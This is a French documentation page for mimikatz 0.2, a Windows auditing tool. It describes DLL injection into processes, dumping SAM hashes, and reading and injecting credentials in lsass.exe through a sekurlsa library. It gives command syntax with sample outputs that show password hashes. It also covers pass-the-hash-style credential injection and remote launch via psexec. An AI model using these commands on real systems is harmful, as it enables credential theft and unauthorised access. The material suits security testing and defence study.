Derniers messages du forum...
xhtml 1.1

Outilsmimikatz

Smiley forum Discussions sur ce sujet dans le forum Smiley forum

mimikatz 0.2

Un outil qu'il est sympa, surtout avec sa librairie sekurlsa (Gentil Kiwi)

Téléchargement

Il est judicieux de lire l'intégralité de cette page avant de se servir de cet outil.

Sommaire

Librairies distantes :

Introduction

mimikatz est un outil d'audit de sécurité, son rôle premier est de placer une librairie dans un processus distant et permettre la communication entre le processus cible et mimikatz à la manière d'un shell.

Ainsi il est tout à fait possible d'utiliser mimikatz pour obtenir le plan du démineur ou manipuler les processus d'authentification Windows, tout dépend de la librairie utilisée !

Il n'y aura aucune explication sur la méthodologie à employer pour pénétrer un quelconque système ou effectuer d'actions illégales ; seulement des explications de commandes

mimikatz a été testé avec succès sur les plateformes suivantes :

Des tests sommaires ont été effectué sous Windows PE 2 (basé sur 2008) avec succès.

Principe de fonctionnement

mimikatz, via les droits administrateur (et en particulier du privilège SeDebugPrivilege), va demander au processus ciblé la création d'un nouveau thread d'éxecution lui permettant de charger une librairie externe.
Cette librairie, via les canaux nommés, va établir une connexion avec le processus mimikatz. Ainsi mimikatz pourra passer des commandes (et obtenir des résultats) depuis du code executé dans un autre processus. mimikatz étant un outil de test, une seule injection par système est possible, en utilisation standard, cette unique limitation ne gêne en rien.

Contrairement à d'autres outils d'injection de librairies, il y a une réelle interaction entre le processus cible et mimikatz, ceci permet par exemple d'éviter les chargements/déchargements de librairies lors d'un déroulement d'actions

mimikatz est disponible en deux version, x86 (32 bits) et x64 (64 bits). La version 64 bits est utile à l'injection de librairie dans un processus 64 bits, dans ce cas mimikatz ET la librairie doivent être 64 bits.
Injecter une librairie 32 bits depuis Vista 64 bits vers le démineur de Windows XP 32 bits ne nécessite pas mimikatz 64 bits par exemple.

Utilisation

mimikatz peut être utilisé localement, ou à distance via l'utilitaire Microsoft PsExec (le rôle premier de mimikatz n'étant pas d'éxecuter des processus distants, autant confier cette tâche à un utilitaire spécialisé !)

A noter : PsExec peut aussi se réveler nécessaire pour exécution sous RDP et/ou Windows >= 6.0 afin de spécifier dans quel contexte lancer le programme (système, utilisateur, interactif ou non)

mimikatz est un outil en mode console, pas seulement parce que je déteste coder des interfaces graphiques, mais parce que cela facilite les interactions lors de l'éxecution en mode distant.

En exécution normale, mimikatz se présente ainsi :

mimikatz

Les commmandes locales sont entrées directement à l'invite (exemple : cls), les commandes distantes sont entrées préfixées d'un '@' (exemple : @getWinmineFunctions).

Commandes locales

Ces commandes peuvent être principalement demandées sans librairie injectée et facilitent l'interaction avec les librairies.

Commande cls
Alias clear
Arguments aucun
Description Efface l'écran
Remarque(s) N'est pas pris en charge sous PsExec
Exemple
mimikatz # cls
Commande exit
Alias quit, bye
Arguments aucun
Description Ferme l'éventuelle connexion et quitte mimikatz
Remarque(s) aucune
Exemple
mimikatz # quit
Bye :)
Commande exec
Alias start, run
Arguments [/paused] [/sudo] commande
/paused [Optionnel] Démarre le processus avec son thread principal en pause (reprise avec resume)
/sudo [Optionnel] Démarre le processus avec une fausse identification réseau
commande Le processus et les arguments du programme à lancer
Description Exécute un processus
Remarque(s) aucune
Exemple
mimikatz # exec /paused notepad
Demande d'exécution de : 'notepad'
 * Le Thread principal est démarré en pause ! Reprise avec resume ThreadID
PID      : 1860
ThreadID : 596
AuthId_h : 0
AuthId_l : 389488
Commande resume
Alias play
Arguments ThreadId
ThreadId Identifiant du thread en pause
Description Reprend un thread en pause
Remarque(s) aucune
Exemple
mimikatz # resume 596
Reprise du thread 596 avec succès
Commande inject
Alias load
Arguments {processus|/pid numPid} librairie [/nocomm] [/nodebug]
processus Nom du processus cible (exemple : winmine.exe)
/pid numPid Permet de préciser le numéro d'identifiant du processus (numPid)
Nécessaire en cas de doublons
librairie Nom de la librairie à injecter (exemple : demineur.dll)
/nocomm [Optionnel] N'établie pas de connexion à la librairie (pour librairie non Kiwi)
/nodebug [Optionnel] Ne demande pas le privilège SeDebugPrivilege (inutile dans la même session)
Description Injecte une librairie dans un processus (via CreateRemoteThread)
Remarque(s) aucune
Exemple
mimikatz # inject winmine.exe ..\Release\demineur.dll /nodebug
PID 'winmine.exe' : 1064
Demande d'injection de : ..\Release\demineur.dll dans le processus 1064
Le privilège 'SeDebugPrivilege' NE SERA PAS demandé
Demande de chargement de librairie effectuée avec succès !
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
                        Gentil Kiwi
Commande close
Alias eject
Arguments aucun
Description Ferme la connexion existante au processus (et décharge la librairie)
Remarque(s) aucune
Exemple
mimikatz # close
Fermeture du canal de communication

Bonus

Commande reponse
Alias repond
Arguments aucun
Description Calcule la réponse à la Grande Question sur la Vie, l'Univers et le Reste
Remarque(s) aucune
Exemple
mimikatz # reponse
La réponse est 42.
Commande dumpsam
Alias samdump
Arguments rucheSystem rucheSam
rucheSystem Chemin vers la ruche SYSTEM
rucheSam Chemin vers la ruche SAM
Description Récupère la bootkey et les identifiants locaux d'un système
Remarque(s) Les ruches se trouvent dans %SystemRoot%\System32\Config
Ces fichiers sont inacessibles sur un système en fonctionnement
Exemple
mimikatz # samdump p:\system p:\sam
Nom du système          : HOSTNAME
Bootkey du système      : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

ID                      : 500
Nom                     : Administrateur
Hash LM                 : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Hash NTLM               : cccccccccccccccccccccccccccccccc

ID                      : 501
Nom                     : Invité
Hash LM                 :
Hash NTLM               :
[…]

Ce bonus fonctionne très bien sous Windows PE...

mimikatz sous Windows PE

Commandes de la librairie demineur.dll

Cette librairie permet de manipuler le démineur.
La commande typique d'injection est : inject winmine.exe demineur.dll

mimikatz et le démineur

Par feignantise cette librairie n'est que 32 bits et ne fonctionne que sous Windows 5.x

Commande getWinmineFunctions
Arguments aucun
Description Retourne les adresses essentielles au fonctionnement
Remarque(s) aucune
Exemple
mimikatz # @getWinmineFunctions
** WinMine ** ; Statut recherche : OK :)

@Pause         = 0100341C
@Reprise       = 0100344C
@Champ de mine = 01002EDD
Commande pause
Arguments aucun
Description Met en pause le chronomètre du démineur (la partie peut continuer)
Remarque(s) aucune
Exemple
mimikatz # @pause
Commande resume
Arguments aucun
Description Reprend le chronomètre du démineur
Remarque(s) aucune
Exemple
mimikatz # @resume
Commande getMines
Arguments aucun
Description Retourne un plan du champ de mine
Remarque(s) aucune
Exemple
mimikatz # @getMines
% % % % % % % % % % %
% 1 . . . . . * 1 . %
% . * . . . 1 . . . %
% . . . . . . . . . %
% . . * 1 . . . . * %
% . . . . . . 1 1 1 %
% . * . . . * 1     %
% . 3 * . . . 2     %
% * . . . . * 1     %
% . * . . . . 1     %
% % % % % % % % % % %

Commandes de la librairie klock.dll

Cette librairie permet de basculer des bureaux.
La commande typique d'injection est : inject winlogon.exe klock.dll
Mais agissant rarement sur un poste verrouillé, il convient de passer par psexec pour lancer mimikatz sur un poste distant.

mimikatz et le vérouillage

Pour les Windows 6.x et supérieur, mimikatz doit être lancé via un mode particulier afin de pouvoir interagir avec le processus WinLogon : psexec [\\poste] -i mimikatz pidWinLogon klock.dll echange
Dans ce mode mimikatz n'est pas interactif et basculera automatiquement les bureaux

Commande echange
Arguments [bureauSource bureauCible]
bureauSource [Optionnel] Nom du bureau à basculer (typiquement WinLogon)
bureauCible [Optionnel] Nom du bureau vers lequel basculer (typiquement Default)
Description Bascule un bureau vers un autre, si exécuté sans arguments, klock.dll déterminera automatiquement vers quel bureau basculer
Remarque(s) aucune
Exemple
mimikatz # @echange
Bureau courant : Winlogon
Bureau cible   : Default
Switch du bureau réussi !
mimikatz # @echange
Bureau courant : Default
Bureau cible   : WinLogon
Switch du bureau réussi !

Commandes de la librairie sekurlsa.dll

Cette librairie permet de manipuler le processus d'authentification Windows.
La commande typique d'injection est : inject lsass.exe sekurlsa.dll

mimikatz et les comptes

Pour les Windows 6.x et supérieur, mimikatz doit être lancé via un mode particulier afin de pouvoir interagir avec le processus système LSASS : psexec [\\poste] -s mimikatz

Manipulation de la SAM

Permet de manipuler les comptes locaux Windows sur poste standard, ou les comptes du domaine sur un contrôleur de domaine.

Commande getSAMFunctions
Arguments aucun
Description Retourne les adresses essentielles au fonctionnement
Remarque(s) aucune
Exemple
mimikatz # @getSAMFunctions
** samsrv.dll ** ; Statut recherche : OK :)

@SamIConnect                       = 000007FF79BF9D40
@SamrOpenDomain                    = 000007FF79BF24F0
@SamrOpenUser                      = 000007FF79BF4960
@SamrEnumerateUsersInDomain        = 000007FF79C2B150
@SamrQueryInformationUser          = 000007FF79BF55C0
@SamIFree_SAMPR_USER_INFO_BUFFER   = 000007FF79BE1EB0
@SamIFree_SAMPR_ENUMERATION_BUFFER = 000007FF79C55610
@SamrCloseHandle                   = 000007FF79C04220
Commande getLocalAccounts
Arguments [/full] [/csv]
/full [Optionnel] Affiche des informations bien plus complètes sur les comptes
/csv [Optionnel] La sortie s'effectue au format CSV pour une exploitation plus facile
Description Récupère des informations sur les comptes locaux
Remarque(s) aucune
Exemple
mimikatz # @getLocalAccounts /csv
Gentil Kiwi;NIRVANA;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
Gentil Boulet;NIRVANA;;;
krbtgt;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
__vmware_user__;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
test1;NIRVANA;9d3f8edfa6bd8badb644f31edae0ec8b;50c281c617ea9ee0880c8b735cc50f47;
test2;NIRVANA;9d3f8edfa6bd8badbb2d20376863b425;b7434f6136bb1922bcbd35c697347534;
SRVKIWI$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
KIWI$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
WINDOWS-E$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
WINDOWS-G$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
WINDOWS-A$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
KIWIND$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
WINDOWS-B$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
mimikatz # @getLocalAccounts /full
[…]
Compte
======
ID                      : 1124
Nom                     : KIWIND$
Domaine                 : NIRVANA
Nom complet             : KIWIND$
Actif                   : true
Verouillé               : false
Type                    : Ordinateur
Commentaire utilisateur :
Commentaire admin       :
Expiration              : N'arrive jamais
Station(s)              :

Chemins
-------
Répertoire de base      :
Lecteur de base         :
Profil                  :
Script de démarrage     :

Connexions
----------
Nombre                  : 69
Echecs                  : 0
Dernière connexion      : 08/05/2009 20:40:36
Dernière déconnexion    : N'est pas encore arrivé

Mot de passe
------------
Dernier changement      : 04/05/2009 22:24:51
N'expire pas            : false
Peut être vide          : false
Mot de passe expiré     : false
Possibilité changement  : 05/05/2009 22:24:51
Obligation changement   : N'arrive jamais

Hashs
-----
Hash LM                 :
Hash NTLM               : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
[…]

Manipulation du package MSV1_0

Permet de manipuler les authentifications en cours.

Commande getMSVFunctions
Arguments aucun
Description Retourne les adresses essentielles au fonctionnement
Remarque(s) aucune
Exemple
mimikatz # @getMSVFunctions
** msv1_0.dll ** ; Statut recherche : OK :)

@GetPrimaryCredential    = 000007FF7E2BCFE0
@AddPrimaryCredential    = 000007FF7E2BFF80
@DeletePrimaryCredential = 000007FF7E2D0CC0
Commande getLogonSessions
Arguments aucun
Description Retourne les sessions en cours sur le système
Remarque(s) aucune
Exemple
mimikatz # @getLogonSessions
Authentification Id         : 0;804124
Package d'authentification  : Kerberos
Utilisateur principal       : Gentil Kiwi
Utilisateur                 : Gentil Kiwi
Domaine de connexion        : NIRVANA
Hash LM                     : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hash NTLM                   : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
[…]
Commande addLogonSession
Arguments [idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM
idSecAppHigh [Optionnel] Identifiant d'authentification ciblé, partie Haute (souvent 0)
idSecAppLow Identifiant d'authentification ciblé, partie Basse
Utilisateur Nom d'utilisateur à ajouter
Domaine Nom de domaine ciblé
Poste Poste ciblé
HashLM [Optionnel] Hash LM à ajouter
HashNTLM Hash NTLM à ajouter
Description Ajoute un identifiant de sécurité à un package d'authentification
Remarque(s) aucune
Exemple
mimikatz # @addLogonSession 22577311 "Gentil Kiwi" NIRVANA bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Injection de données de sécurité réussie :)
Commande delLogonSession
Arguments [idSecAppHigh] idSecAppLow
idSecAppHigh [Optionnel] Identifiant d'authentification ciblé, partie Haute (souvent 0)
idSecAppLow Identifiant d'authentification ciblé, partie Basse
Description Supprime un identifiant de sécurité d'un package d'authentification
Remarque(s) aucune
Exemple
mimikatz # @delLogonSession 22577311
Suppression des données de sécurité réussie :)

Creative Commons License
Cette création est mise à disposition sous un contrat Creative Commons.

Page générée en 0.005 secondes.